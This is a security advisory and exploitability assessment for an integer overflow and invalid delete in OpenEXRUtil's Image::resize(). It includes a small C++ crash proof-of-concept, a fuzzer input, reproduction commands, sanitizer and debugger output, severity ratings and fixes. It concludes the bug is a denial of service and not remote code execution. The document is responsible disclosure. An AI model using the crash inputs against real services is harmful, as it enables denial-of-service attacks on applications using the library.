GHSA-fp75-87pr-8329 on CTRL-OS 26.05
Aliases: GHSA-fp75-87pr-8329
Packages: openexr
Status: Plausible
Advisory Information
OpenEXRUtil
Image::resize()Integer Overflow / Invalid Delete: Exploitability AssessmentTarget:
AcademySoftwareFoundation/openexr
Commit tested:e9133442dda6139aa395d0e87f3b00e7f31199a6
Component:src/lib/OpenEXRUtil
Assessment date: 2026-06-08 UTCConclusion
I did not confirm RCE for this issue.
The issue is confirmed as a memory-safety denial-of-service bug:
- public OpenEXRUtil API reachable;
- signed integer overflow in image/level dimension calculation;
- exception cleanup reaches
Image::clearLevels();_levelscontains uninitializedImageLevel*entries;- cleanup performs
delete _levels[y][x];- sanitizer and non-sanitizer builds crash.
There is a theoretical control-flow concern because
ImageLevelhas a virtual destructor, so deleting a bogusImageLevel*causes the runtime to read a vptr and perform an indirect destructor call. However, the current PoC only controls theBox2icoordinates and level parameters. I did not demonstrate control of the uninitialized pointer value, the pointed-to vtable, or RIP.Recommended claim: DoS / memory corruption, not RCE.
Recommended severity: Medium unless a direct untrusted
.exrloading path or reliable pointer/vtable control is later demonstrated.Summary
OpenEXRUtil
Image::resize()accepts anImath::Box2idata window and computes level sizes using signedintarithmetic. Extreme but representable coordinate values can overflow these calculations.When level construction throws after the overflow,
Image::resize()catches the exception and callsclearLevels(). The_levelsarray has already been allocated withArray2D<ImageLevel*>::resizeErase(), but its pointer slots have not all been initialized.clearLevels()then deletes every slot, including uninitialized entries.This produces an invalid delete / virtual destructor dispatch through an uninitialized pointer.
Affected Code
Signed integer overflow in level size calculation:
int a = max - min + 1;Location:
src/lib/OpenEXRUtil/ImfImage.cpp:34Additional signed dimension calculations:
int w = dataWindow.max.x - dataWindow.min.x + 1; int h = dataWindow.max.y - dataWindow.min.y + 1;Locations:
src/lib/OpenEXRUtil/ImfImage.cpp:118 src/lib/OpenEXRUtil/ImfImage.cpp:153Exception cleanup path:
_levels.resizeErase (ny, nx); ... _levels[y][x] = newLevel (x, y, levelDataWindow); ... catch (...) { clearLevels (); throw; }Locations:
src/lib/OpenEXRUtil/ImfImage.cpp:303 src/lib/OpenEXRUtil/ImfImage.cpp:318 src/lib/OpenEXRUtil/ImfImage.cpp:340Invalid cleanup:
for (int y = 0; y < _levels.height (); ++y) for (int x = 0; x < _levels.width (); ++x) delete _levels[y][x];Location:
src/lib/OpenEXRUtil/ImfImage.cpp:604-606The underlying
Array2D<T>::resizeErase()allocation does not value-initialize pointer entries:T* tmp = new T[sizeX * sizeY];Location:
src/lib/OpenEXR/ImfArray.h:214
ImageLevelhas a virtual destructor:virtual ~ImageLevel ();Location:
src/lib/OpenEXRUtil/ImfImageLevel.h:54Minimal Public API PoC
Existing reproducer:
afl-findings/poc/poc_image_resize_invalid_delete.ccSource:
#include <ImfFlatImage.h> #include <Imath/ImathBox.h> #include <climits> namespace IMF = OPENEXR_IMF_NAMESPACE; namespace IM = IMATH_NAMESPACE; int main () { IMF::FlatImage img; img.insertChannel ("R", IMF::HALF); img.resize ( IM::Box2i (IM::V2i (1, INT_MIN), IM::V2i (1, 1)), IMF::ONE_LEVEL, IMF::ROUND_DOWN); return 0; }The triggering data window is:
min = (1, INT_MIN) max = (1, 1)The height calculation attempts:
1 - INT_MIN + 1which overflows signed 32-bit
int.AFL-Derived Minimal Input
Existing minimized input:
afl-findings/triage/util_repro_crash.min.binSize:
24 bytesHex dump:
00000000: 30 30 30 30 30 00 30 30 30 30 30 30 30 30 30 30 00000.0000000000 00000010: 30 30 30 30 30 30 30 30 00000000Decoded fuzzer fields:
dataWindow = Box2i(V2i(1, INT_MIN), V2i(1, 1)) branch = FlatImage levelMode = ONE_LEVEL rounding = ROUND_DOWNReproduction Commands
ASAN/UBSAN public API PoC:
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1:symbolize=0 \ UBSAN_OPTIONS=halt_on_error=0:abort_on_error=0:print_stacktrace=0 \ afl-findings/poc/poc_image_resize_invalid_deleteExpected result:
runtime error: signed integer overflow runtime error: member call on misaligned address 0xbebebebebebebebe ERROR: AddressSanitizer: SEGV SUMMARY: AddressSanitizer: SEGV in Imf_4_0::Image::clearLevels()AFL-derived input:
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1:symbolize=0 \ UBSAN_OPTIONS=halt_on_error=0:abort_on_error=0:print_stacktrace=0 \ _build.san/src/test/oss-fuzz/openexr_util_image_fuzzer \ afl-findings/triage/util_repro_crash.min.binNon-sanitizer/AFL-instrumented local build check:
/usr/local/bin/afl-clang-fast++ -std=c++14 -O2 -g \ -I/root/fuzz_target/src/lib/OpenEXR \ -I/root/fuzz_target/_build.afl-asan/cmake \ -I/root/fuzz_target/_build.afl-asan/_deps/imath-src/src/Imath \ -I/root/fuzz_target/_build.afl-asan/_deps/imath-src/src \ -I/root/fuzz_target/_build.afl-asan/_deps/imath-build/config \ -I/root/fuzz_target/_build.afl-asan/OpenEXR_ImathIncludeCompat \ -I/root/fuzz_target/src/lib/Iex \ -I/root/fuzz_target/src/lib/IlmThread \ -I/root/fuzz_target/src/lib/OpenEXRCore \ -I/root/fuzz_target/src/lib/OpenEXRUtil \ afl-findings/poc/poc_image_resize_invalid_delete.cc \ -o /tmp/poc_image_resize_invalid_delete_afl_native \ -Wl,-rpath,/root/fuzz_target/_build.afl-asan/src/lib/OpenEXRUtil:/root/fuzz_target/_build.afl-asan/src/lib/OpenEXR:/root/fuzz_target/_build.afl-asan/src/lib/OpenEXRCore:/root/fuzz_target/_build.afl-asan/_deps/imath-build/src/Imath:/root/fuzz_target/_build.afl-asan/src/lib/IlmThread:/root/fuzz_target/_build.afl-asan/src/lib/Iex \ -L/root/fuzz_target/_build.afl-asan/src/lib/OpenEXRUtil \ -L/root/fuzz_target/_build.afl-asan/src/lib/OpenEXR \ -L/root/fuzz_target/_build.afl-asan/src/lib/OpenEXRCore \ -L/root/fuzz_target/_build.afl-asan/src/lib/IlmThread \ -L/root/fuzz_target/_build.afl-asan/src/lib/Iex \ -L/root/fuzz_target/_build.afl-asan/_deps/imath-build/src/Imath \ -lOpenEXRUtil-4_0 -lOpenEXR-4_0 -lOpenEXRCore-4_0 \ -lIlmThread-4_0 -lIex-4_0 -lImath-3_2 -lm -ldl timeout -s KILL 5s /tmp/poc_image_resize_invalid_delete_afl_nativeObserved result:
Segmentation fault exit code: 139Repeated local runs:
10/10 runs exited with SIGSEGV / 139Sanitizer Evidence
Saved sanitizer output:
afl-findings/poc/poc_image_resize_invalid_delete.san.out afl-findings/triage/clear_min.san.outKey excerpts:
src/lib/OpenEXRUtil/ImfImage.cpp:34:20: runtime error: signed integer overflow: 1 - -2147483648 cannot be represented in type 'int'src/lib/OpenEXRUtil/ImfImageLevel.cpp:40:45: runtime error: signed integer overflow: -2147483648 - 1 cannot be represented in type 'int'src/lib/OpenEXRUtil/ImfImage.cpp:606:13: runtime error: member call on misaligned address 0xbebebebebebebebeERROR: AddressSanitizer: SEGV SUMMARY: AddressSanitizer: SEGV Imf_4_0::Image::clearLevels()
0xbebebebebebebebeis ASAN's uninitialized heap fill pattern, which is consistent with use of an uninitialized pointer slot.GDB Evidence
GDB against the non-sanitizer/AFL-instrumented PoC:
gdb -q -batch \ -ex 'set pagination off' \ -ex 'run' \ -ex 'bt' \ -ex 'info registers rip rax rdi rsi rdx rcx' \ -ex 'x/6i $pc' \ --args /tmp/poc_image_resize_invalid_delete_afl_nativeObserved crash:
Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7fa587a in Imf_4_0::Image::clearLevels() src/lib/OpenEXRUtil/ImfImage.cpp:606 606 delete _levels[y][x];Backtrace:
#0 Imf_4_0::Image::clearLevels() #1 Imf_4_0::Image::resize(...) #2 main()Registers and instruction at crash:
rip 0x7ffff7fa587a <Imf_4_0::Image::clearLevels()+154> rdi 0x555555772 => mov (%rdi),%rax call *0x8(%rax)Interpretation:
rdiis the uninitializedImageLevel*value selected from_levels.- The crash occurs while reading the vptr from that pointer.
- The next instruction would be an indirect virtual destructor call.
- The observed
rdivalue was not derived from the PoC input bytes in any demonstrated way.- RIP remained inside
Image::clearLevels()at the faulting load; I did not observe control of RIP.RCE Assessment
Confirmed primitive
Confirmed:
- signed integer overflow;
- invalid cleanup after exception;
- uninitialized pointer read;
- invalid delete of
ImageLevel*;- virtual destructor dispatch path;
- process crash in both sanitizer and non-sanitizer local builds.
Not confirmed
Not confirmed:
- attacker-controlled uninitialized pointer value;
- attacker-controlled fake
ImageLevelobject;- attacker-controlled fake vtable;
- controlled indirect call target;
- controlled RIP;
- arbitrary read/write primitive;
- direct trigger from standard
.exrfile loading.Why this is not currently an RCE
The crash is caused by deleting an uninitialized pointer slot. For RCE, an attacker would need substantially more than the current PoC provides:
- A way to influence the exact uninitialized
_levels[y][x]pointer value.- A way to make that pointer reference attacker-controlled memory.
- A way to place a valid fake vtable or otherwise control the destructor call target.
- A practical bypass for normal process mitigations such as PIE/ASLR, NX, and RELRO.
The current trigger controls image coordinates and level mode. It does not provide direct control over heap contents or vtable pointers. Therefore the responsible conclusion is DoS / memory corruption, not RCE.
Exploitability note
The virtual destructor path means this should not be dismissed as a harmless null dereference. If a larger embedding application lets an attacker groom heap state before calling
Image::resize(), the invalid delete could become more interesting. That remains theoretical in this assessment.No working RCE exploit was produced.
Impact
An application that calls OpenEXRUtil
Image::resize()/FlatImage::resize()with untrusted or insufficiently validatedBox2icoordinates can be crashed.Confirmed impact:
- availability loss;
- local process crash;
- memory safety violation;
- undefined behavior.
Not confirmed:
- remote code execution;
- information disclosure;
- direct crafted
.exrfile trigger.Suggested Severity
Recommended severity:
MediumCVSS v4.0 suggestion:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NCVSS v3.1 suggestion, if required:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:HIf direct file-parser reachability is later proven in a network service or server-side conversion workflow, the attack vector and user-interaction fields should be reassessed.
CWE
Primary:
CWE-190: Integer Overflow or WraparoundSecondary:
CWE-824: Access of Uninitialized PointerOptional:
CWE-763: Release of Invalid Pointer or ReferenceSuggested Fix
Fix both the arithmetic root cause and the cleanup robustness issue.
Use checked wider arithmetic for data-window dimensions:
int64_t w = int64_t(dataWindow.max.x) - int64_t(dataWindow.min.x) + 1; int64_t h = int64_t(dataWindow.max.y) - int64_t(dataWindow.min.y) + 1;Reject invalid dimensions before converting back to
int:
w <= 0orh <= 0;w > INT_MAXorh > INT_MAX;- dimensions exceeding reasonable allocation limits.
Avoid overflow-prone checks such as:
dataWindow.min.y - 1Initialize
_levelsimmediately after allocation:_levels.resizeErase(ny, nx); for (int y = 0; y < ny; ++y) for (int x = 0; x < nx; ++x) _levels[y][x] = nullptr;Make
clearLevels()safe for partially constructed state:for (int y = 0; y < _levels.height(); ++y) { for (int x = 0; x < _levels.width(); ++x) { delete _levels[y][x]; _levels[y][x] = nullptr; } }Pointer initialization prevents the invalid delete during exception cleanup, but it does not fix the integer overflow. Both fixes are needed.
Suggested Report Description
OpenEXRUtil contains a memory-safety issue in Image::resize() when processing extreme but representable Imath::Box2i data windows. The resize logic computes image and level dimensions using signed int arithmetic. A data window such as min.y = INT_MIN and max.y = 1 causes signed integer overflow during level-size calculation. After the overflowed dimensions are used, level construction can throw. During exception cleanup, Image::resize() calls Image::clearLevels(), which iterates over an Array2D<ImageLevel*> allocated by resizeErase(). The pointer entries in that array are not value-initialized before operations that may throw. As a result, clearLevels() can attempt to delete an uninitialized ImageLevel* slot. Since ImageLevel has a virtual destructor, this leads to a vptr read from an invalid pointer and a crash. Under ASAN/UBSAN this appears as signed integer overflow followed by a member call on 0xbebebebebebebebe and a SEGV in Image::clearLevels(). The issue is reachable through the public OpenEXRUtil API, including FlatImage::resize(). The confirmed impact is denial of service via process crash. I did not confirm direct reachability from a crafted EXR file through the standard file loading path, and I did not demonstrate RCE.
Updates
2026-07-10 18:48 CEST
Metadata changes:
- Status for package
openexr: “Plausible”
2026-07-07 22:43 CEST
Metadata changes:
- Status for package
openexr: “New”
(Amended on: 2026-07-10 18:46 CEST)